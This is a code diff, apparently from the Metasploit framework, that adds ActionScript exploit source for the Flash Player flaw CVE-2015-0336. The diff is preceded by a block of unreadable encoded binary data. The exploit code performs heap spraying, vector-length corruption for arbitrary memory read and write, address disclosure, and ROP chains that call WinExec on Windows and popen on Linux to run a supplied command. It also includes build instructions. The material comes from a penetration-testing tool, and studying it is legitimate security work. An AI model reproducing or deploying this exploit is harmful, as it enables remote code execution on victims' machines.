zbk&bWubMKim9=eWm}_ephZcQ!GQJEyo#pp`ltSv{uQnR3W>U^{ip~x2AiQZ%QLIlLIj*XAlO{?z$qgbuL)HP{u zjBRY6_t-|57dsx?;IqxDe^vtj^VKjN+NrED9D0XAhHHx;)qK$iJ{u?Y16s};Z$_Mv zBd?+4#S4X{?N3DqlLelk65Z$T3V**Um08(S2sB3HXK zw}2F0_q?%7h!Ldl44HJp zOeDP5^~BxET6ifSCekU@JmUj6z78ih!5W}c0cYH{lQgMQQbJ8#Av~QIUVXc_kw^LV z=p0QP!%q!`BAne6Lc&Xg6XS4HOMJShxo_E%bmZ+^(*oV|{7gxUtel`SF*zp^=te4IDQ+G`*yjP@y|TaqIQJq(L18Tl`(;h0l1hP_%5_a8nP)Oquj`-sN#jSwU8b7l4>XRt~%OiA-d^weX`gI8ios_uE zYO^>*B71Sm#nWuW6SlRT*O+S}Z4t6qWa-<>RnCZ!C=&qsz~wgiQ6N-eZ3&CVaben! z#U6QG)7dt|(a2p5z}CUn>6S-u)@xz86DVzxfAn}*VI)s(S2k`)M(oQ1I<*Pld&z+a zI5%Xq#=n6J-_lPUg>>{$^9YtEnju`g(}!D67Q*B!VS`!j{eWR4kWgjx`Aj)3zJzRp ziHI1|#BMH(qk;D4+FwWd@KSj?E|Rk+ZHsU&Yz1=Q4+YQDdxvV542u|plKbQh8IKg_ ze@Qxk(F^RI+Q;~uWvW-A0lfB^Kv)h<|I|CBFDsKzBSAFO4`iox0!B%pItBKcx+E?} z{I2yeyct>MiNFlbBx(%s^NFeX&GHH~AgAeglc2>E9a|tK@G9;$ovtlMKV?G+Tv3`c zE;>yXN+xT5-(omypH3es(Tg&jSK;+;e^Y-`SIMzL0hPuK@k4+itANMAzM_d;0zwz) zz3LtF|9dt|?vj9hW&8R_+w{=R8JDF-a$Urj;A%ez*caG;>$yCzEfGE95eM9Svs39h z{Npd%Rn19(lhCezsv35_%RJ%5;?{DJ<(NQY!oPL~iwCH@+h2U)glZg50S18Je?7mm z-v>!-Y~!{x6Gp(mL3i+^Z(%+30Y>PK)~L1}MBs?^niUAdNUs6IG;l9TxG^Y>+t`yA6pRS$u6 z*Z}WhiEV#D&D{6nm%{TZIVvgRn{{6CuBwvTU0Km6Ho!X#5L|q9Ry0lZ6u#CH#cX0Q z=zB{aIN@&!)cbj#i($rTcy{{R!DLq*q*>fI-o=zvc=1f5-ndUjaCjkuHB}0w4`j{5LH_P%*ajp!Q9&ENSoX+v1 z#cEX`@8Q1KlZTN!2b0cOcNMZSb$R`z{qj3Z5hw(4PjeMrbp3@Zf1#oG=~55!o5Vkv z;JK}7LT_}GG=H7i5%-|6v#VIyPDNKhhSeQk78jX1H5{!U8hi- zo0~6J3@K@Idpj8Ze-2zbj`qVcoWjMsxxMKR6x5RF*W{k z-Q)v(F&#otqXU9!q?`M;qIC(q1qe#3j{QfR+4vwE=UTj>Gm4D1NyLaU!;n74<}woQ z7QI5+k(|FRYlivTcg~IrA>NE7fkr|i5>LFG{%-)|#*ux|f9^3?@8w!$z5_0R$m@H9 zFV1rhixYZT7D4iU_&{<#YVbAGPuwx|X3egyq-$875ZPbvtQ;C*o}${M!}d|Ro$**( z-L00>pCY-x=PbQ!_m9a&8P1%jLkl%oomo*ekea&HHeX9if3WY6NAbpHiOaGnU*Ln< zL#k?Lmlmt|f32Rh!pLSh2?(1RG$j2EX670JiYWTCCO3XW25!! z<-E`Ve;kr_p8DI!$ciC3ZoSSF$Mb!Ho~sfkeiUMq_;VD(4>dKC*pdg=mHkoL%Za(Y zsAD%0>SaJG%O{t$53EW5j;8lmq%Pd!97DSO7B^vlm;GYgYgq2OUif;j9M37J zzvY)jOX*S)U!un~_)s;Yc|_&q$UfwjmcChBwhw-VvH9Ejc}>3<&N4Bw;LfbNe}Czq z$#MkdC;iVC8nSyn6Hdqk-td#S>gqf@`ujxiIFu*kI`QX`b0eH!EtP@3?>1C&)fy{A zm}*#=3L=nL!b8UA5bm_|YLmR$;|+~acFLE(As9ty4lGqADen;tm;tgV*cIS=8x75vG|4b>q|mpw)Dcn+Y4Z&kYyja5Vi zsb6@HS#yS*i{=|RAH~S{f1J_s_PXOi%0O$l3MP>T(L^$PFH5D}k_=J?J*)Urscr+5 z^&_|6X2amIO*Dc@R7$#f{#do%kGuio|Ll15@#|AP{AV9G#d*wyk}j8`c4=#RhwJ5h zKc zf!HwC{p5(y(FkCpGuhKTa2|M0you+Km>jOeA%ybU5blud1A@SpQ-hJ+2*&skQA`Wk z9@Z>kxtcy&XuQU|ULJT7vYwPAZ$xjndA!mZF~8Yuwq~(tCxS4eNiYC5sGVxr@ypi@ zsPFG)EzexXPR2Soe`d}7uXw1K@hw*6e@n4wp^Im`g%5bJKd*K^eD)Da_=Tg?TUu$y zM8>lK>ioq`@#+9xD~45h$WtlgZ8eL9Lf5V6^71#Hiq-61KJ1?oKWS zbub;5=pa$u$un8j=8{+Gui3%50;4&fO{EaTg@__N6XI9ue_#F9*LbMC2G%@*n!P@@ zEZ@-%^_a%a*;po~V>G%PmVn+}8Y2f9cf)&ylvKB7+GP5AyREf_jNpR-Q?+Hu9l-{vNg){^(Hf-$Loc zCcL!pnB>Azf0K5qmy|9TQcr)Q|32>DUN$z7(dnTJKftUGmbC?I`S^UFNXpE3v&t+f zo;Es&ibr3Ua(sTFt4E>L`2GXj4zNM)a*{;eB=S8_9dD)g`yf4#U3+6C4cYy6O7Rsb zV!Cdo+kb(=9Gh)ycSvd;l32G#kg9DlE`k$$?J*A$@YKMs=8 zg;ETg9I4R|^-WJMY*r%5z(XzSus>P?qAE$6j#OIQ8%k0?Rh|80F%@vS0Ln0<;1ATa zYrFlm;S%rLo6E`SaD+2A@)mRQs95ivx7IhH*ZR#;qD4WcS+d$&yXg%m**g9MFOvTc zt0ce^E%A@v_Lk56Z z98;Q>rbd)$1Mhn?ZGinu{eS3RJd!#!zkDURr!I3#D&qT?pS@puXfu*uC7Z>KRsA5R zsCi9x?=b3BtN7~`*gPf=v713Me)tmDwymf&FfduOgmE;Q`W{IRsgQ2SR=>2r6xKH>49aP@?Yb z5ZK z=n_k?4u8~go~BLo3`(8Odn8`lGRv6$qGn8_qeFOXSRlM0V2t|~uaCxOO3TspmpfFW zf2O|Fn^!yOyXoPA+e~X=O*!>Z4`j@NEkqf@;zhiRMciB>uqccclupoQ92^)zP+u5G zU(BtwcO6sO*SR(-&Hi&hv0}ltpoR~C65NRFmVXONujmu);xGx#EXA#A2PgA0ErlJ+ z*h%tP?ghZ4#JN4H1n(PA^$DV;qa43ppfES#W-S$yIPi$`p2;>L8e#B{Hw4o&C{4oX zr*|uj<=f;)V}tm8JVU8aK^>5=D$Vu8nkDelXWx&9op>fm_!lrFgP53%lBsi(t4ru5HHFq2t-T+9cn|y#ngNSV=H~Q{D4>6k_8$C>0 zL`{u3i9t0Rwu^dU&Mme>%f2s}1De(Me1EsZcU`=#=p_R*1%E&>2}PZKi4vhFR7fqr z&A)SVf77t+lMQ@naiW!_mC*}k10KS0(`z=);C$@aZcfb?@09ugY{#zkQy9YSO!6<@^(B> zIVp7z8(4S0-}n&29v0yL&D!7h8HoXd(xDPoY{t+a6*L}vtk z+xdeyAf!&75f}I;){;kHQ{BA<=YO%v_d>3nc)3KXyrvUioUiAEewN*C?BcFFFU!wE za$szSoVu+6_q@=%-ynanj`=Af=FE7?icVEGt+!XuQHWk>wUjGx#YzKf^3N_4cJMP^ zmBEzk<)@#D6A?39fEH%2_hVe%=I#E{a!h1LY}{hfJhsOxG@|!lGC#Q*dw&qF$38t6 zZvEIGzl zR55|WZelJSJg|vmHfVK3#V*fXOthu#B3>P$Z{qiB+H4$?14r<&?N^4Y;COv)&7gIN zYxoy^V_l{M-I-<;I5~nCUVrKWWvt33Vc(}@A~h<-B`15`umO8iOUiI0ti?-wk~ucs zT|#MoC&e#e0p>(=AuG_iC@M9pToozAPT#+CCdm-4k8ELbXW+eN^%BbH0t6Srzgs(# z{InI-G=Qr3+<_JTZ1X!*D&KPRmHrlg8NjioL_cZ#Vcma<>~(7t0)J5_#46o9ss>G8+kj8hQLVYRu; zH*QZvK75_s!Aw2e@N}@Bq$pg-qYnAa`*O%s?4U(VJDydOe}r9Z=13#8)(I_ipWqKB z8J3{O@gsU;1*@>6fG2AleR7m?tldE!vjaKwX^A=}UBF^l4W@>&OJl8Z%fMj&|1OWn E0BQ~KH!Lyme;D~I{DSiAbVGPJ`JUh1d%ib_Z$Re2nS&AA(`nQ}Cv*sU%@abp zg-V6->?xin#f2X)me@CMO+&c#(SWU}d74e*6!|JEvvQp$csAw1WEq!>mjuD|F`1Q6 z$~Gv4IM35Hy-$)dTxI!n8qW)81`nNf`;+0v5~pKJJI^e|x&#{<9B2*>kBx~qvLf!T zWp=G~!HU=WD9cKGK(`=pp1zAqG7ya92S*-})RkJ$yQ$Xt#JSXUaM!DI9_UkWF3cyz zmw~?qnhYYTk5F|P7#fvp+l2Rzicmx{(8ra8aYwkO!Ml>^xkI{cJM/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Exploit.as + +// It uses some original code from @hdarwin89 for exploitation using ba's and vectors + +package +{ + import flash.display.Sprite + import flash.display.LoaderInfo + import flash.display.Loader + import flash.utils.ByteArray + import flash.utils.Endian + import flash.utils.* + import flash.external.ExternalInterface + import mx.utils.Base64Decoder + + + public class Exploit extends Sprite + { + private var uv:Vector. = new Vector. + private var exploiter:Exploiter + + private var spray:Vector. = new Vector.(89698) + private var interval_id:uint + private var trigger_swf:String + private var b64:Base64Decoder = new Base64Decoder() + private var payload:String + private var platform:String + + public function Exploit() + { + var i:uint = 0 + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() + + if (platform == 'win') { + for (i = 0; i < 89698; i = i + 1) { + spray[i] = new Vector.(1014) + spray[i][0] = 0xdeadbeef + spray[i][1] = 0xdeedbeef + spray[i][2] = i + spray[i][29] = 0x1a1e1429 + } + + for(i = 0; i < 89698; i = i + 1) { + spray[i].length = 0x1e + } + } else if (platform == 'linux') { + for (i = 0; i < 89698; i = i + 1) { + spray[i] = new Vector.(1022) + spray[i][0] = 0xdeadbeef + spray[i][1] = 0xdeedbeef + spray[i][2] = i + spray[i][29] = 0x956c1490 // 0x956c1490 + 0xb6c => 0x956c1ffc => controlled by position 1021 + spray[i][39] = 1 // 0x956c1fac + 0xf8 => is_connected = 1 in order to allow corruption of offsets 0x54 and 0x58 + spray[i][1021] = 0x956c1fac // 0x956c1fac + 0x54 => 0x956c2000 (0x54, and 0x58 offsets are corrupted) + } + } + + var trigger_byte_array:ByteArray = createByteArray(trigger_swf) + trigger_byte_array.endian = Endian.LITTLE_ENDIAN + trigger_byte_array.position = 0 + // Trigger corruption + var trigger_loader:Loader = new Loader() + trigger_loader.loadBytes(trigger_byte_array) + + interval_id = setTimeout(do_exploit, 2000) + } + + + private function createByteArray(hex_string:String) : ByteArray { + var byte:String + var byte_array:ByteArray = new ByteArray() + var hex_string_length:uint = hex_string.length + var i:uint = 0 + while(i < hex_string_length) + { + byte = hex_string.charAt(i) + hex_string.charAt(i + 1) + byte_array.writeByte(parseInt(byte,16)) + i = i + 2 + } + return byte_array + } + + private function do_exploit():void { + clearTimeout(interval_id) + + for(var i:uint = 0; i < spray.length; i = i + 1) { + if (spray[i].length != 1022 && spray[i].length != 0x1e) { + Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16)) + spray[i][0x3ffffffe] = 0xffffffff + spray[i][0x3fffffff] = spray[i][1023] + uv = spray[i] + } + } + + for(i = 0; i < spray.length; i = i + 1) { + if (spray[i].length == 1022 || spray[i].length == 0x1e) { + spray[i] = null + } + } + + if (uv == null || uv.length != 0xffffffff) { + return + } + + exploiter = new Exploiter(this, platform, payload, uv) + } + } +} + diff --git a/external/source/exploits/CVE-2015-0336/ExploitByteArray.as b/external/source/exploits/CVE-2015-0336/ExploitByteArray.as new file mode 100644 index 0000000000..0da3b307b4 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/ExploitByteArray.as @@ -0,0 +1,82 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + Logger.log("[*] ExploitByteArray - lets_ready()") + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16)) + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) ba.position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/ExploitVector.as b/external/source/exploits/CVE-2015-0336/ExploitVector.as new file mode 100644 index 0000000000..3d9c84b43b --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 0x3e0 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Exploiter.as b/external/source/exploits/CVE-2015-0336/Exploiter.as new file mode 100644 index 0000000000..036ffceb04 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Exploiter.as @@ -0,0 +1,251 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:String + private var platform:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(89698) + + public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") + do_rop_linux() + else if (platform == "win") + do_rop_windows() + else + return + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var winexec:uint = pe.procedure("WinExec", kernel32) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, winexec) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // WinExec + eba.write(0, buffer + 0x10) + eba.write(0, payload_address + 8) + eba.write(0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // Put the popen parameters in memory + eba.write(payload_address + 8, 'r', true) // type + eba.write(payload_address + 0xc, payload, true) // command + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + // Return to popen() + eba.write(stack_address + 0x18068, popen) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // popen() argument + eba.write(0, payload_address + 0xc) + eba.write(0, payload_address + 8) + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Logger.as b/external/source/exploits/CVE-2015-0336/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Msf.as b/external/source/exploits/CVE-2015-0336/Msf.as deleted file mode 100755 index fee7a99e95..0000000000 --- a/external/source/exploits/CVE-2015-0336/Msf.as +++ /dev/null @@ -1,321 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Download the Flex SDK (4.6) -// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 4. Build with: mxmlc -o msf.swf Msf.as - -// It uses original code from @hdarwin89 for exploitation using ba's and vectors - -package -{ - import flash.utils.* - import flash.display.* - import flash.system.* - import mx.utils.Base64Decoder - - public final class Msf extends Sprite { - private var interval_id:uint; - - private var trigger_swf:String = "" - - private var b64:Base64Decoder = new Base64Decoder(); - private var payload:String = "" - - private var spray:Vector. = new Vector.(89698 + 100) - private var corrupted_index:uint = 0 - private var restore_required:Boolean = false - - private var uv:Vector. - private var ba:ByteArray = new ByteArray() - private var stack:Vector. = new Vector.(0x6400) - private var payload_space:Vector. = new Vector.(0x6400) - - public function Msf() { - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() - trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr - - ba.endian = "littleEndian" - ba.length = 1024 - ba.writeUnsignedInt(0xdeedbeef) - ba.position = 0 - - var i:uint = 0 - - while (i < 89698) { - spray[i] = new Vector.(1014) - spray[i][0] = 0xdeadbeef - spray[i][1] = 0xdeedbeef - spray[i][2] = i - spray[i][29] = 0x1a1e1429 - i++ - } - - for(i = 0; i < 89698; i = i + 1) { - spray[i].length = 0x1e - } - - for(i = 0; i < 100; i = i + 1) { - spray[i + 89698] = new Vector.(1014) - spray[i + 89698][0] = ba - spray[i + 89698][1] = this - spray[i + 89698][2] = stack - spray[i + 89698][3] = payload_space - } - - for(i = 0; i < 100; i = i + 1) { - spray[i + 89698].length = 114 - } - - var trigger_byte_array:ByteArray = createByteArray(trigger_swf) - trigger_byte_array.endian = Endian.LITTLE_ENDIAN - trigger_byte_array.position = 0 - - // Trigger corruption - var trigger_loader:Loader = new Loader(); - trigger_loader.loadBytes(trigger_byte_array); - - interval_id = setTimeout(exploit, 2000) - } - - public function createByteArray(hex_string:String) : ByteArray { - var byte:String = null; - var byte_array:ByteArray = new ByteArray(); - var hex_string_length:uint = hex_string.length; - var i:uint = 0; - while(i < hex_string_length) - { - byte = hex_string.charAt(i) + hex_string.charAt(i + 1); - byte_array.writeByte(parseInt(byte,16)); - i = i + 2; - } - return byte_array; - } - - public function exploit():void { - clearTimeout(interval_id) - - for(var i:uint = 0; i < spray.length; i = i + 1) { - if (spray[i].length != 0x1e) { - corrupted_index = corrupt_vector_uint(i) - restore_required = true - uv = spray[corrupted_index] - uv[0] = 0x1a1e3000 // We're being confident about the spray for exploitation anyway :-) - control_execution() - if (restore_required) { - restore_vector_uint() - } - break; - } - } - } - - // make it better, search and return error if it doesn't work :-) - public function corrupt_vector_uint(index:uint):uint { - spray[index][0x3fe] = 0xffffffff - return spray[index][0x402] - } - - public function restore_vector_uint():void { - var atom:uint = spray[corrupted_index][0x3fffffff] - spray[corrupted_index][0x3ffffbff] = atom - spray[corrupted_index][0x3ffffbfe] = 0x1e - // Restore vector corrupted by hand - spray[corrupted_index][0x3ffffffe] = 0x1e - } - - public function control_execution():void { - // Use the corrupted Vector to search saved addresses - var object_vector_pos:uint = search_object_vector() - if (object_vector_pos == 0xffffffff) { - return - } - - var byte_array_object:uint = uv[object_vector_pos] - 1 - var main:uint = uv[object_vector_pos + 1] - 1 - var stack_object:uint = uv[object_vector_pos + 2] - 1 - var payload_space_object:uint = uv[object_vector_pos + 3] - 1 - - // Use the corrupted Vector to disclose arbitrary memory - var buffer_object:uint = vector_read(byte_array_object + 0x40) - var buffer:uint = vector_read(buffer_object + 8) - var stack_address:uint = vector_read(stack_object + 0x18) - var payload_address:uint = vector_read(payload_space_object + 0x18) - var vtable:uint = vector_read(main) - - // Set the new ByteArray length - ba.endian = "littleEndian" - ba.length = 0x500000 - - // Overwite the ByteArray data pointer and capacity - var ba_array:uint = buffer_object + 8 - var ba_capacity:uint = buffer_object + 16 - vector_write(ba_array) - vector_write(ba_capacity, 0xffffffff) - - // restoring the corrupted vector length since we don't need it anymore - restore_vector_uint() - restore_required = false - - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - // Continuation of execution - byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - byte_write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x10) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x8) // Writable address (4 bytes) - - // WinExec - byte_write(0, buffer + 0x10) - byte_write(0, payload_address + 8) - byte_write(0) - - byte_write(main, stack_address + 0x18000) // overwrite with fake vtable - - toString() // call method in the fake vtable - } - - private function search_object_vector():uint { - var i:uint = 0; - while (i < 89698 * 1024){ - if (uv[i] == 114) { - return i + 1; - } - i++ - } - return 0xffffffff - } - - // Methods to use the corrupted uint vector - - private function vector_write(addr:uint, value:uint = 0):void - { - var pos:uint = 0 - - if (addr > uv[0]) { - pos = ((addr - uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 - } - - uv[pos] = value - } - - private function vector_read(addr:uint):uint - { - var pos:uint = 0 - - if (addr > uv[0]) { - pos = ((addr - uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 - } - - return uv[pos] - } - - // Methods 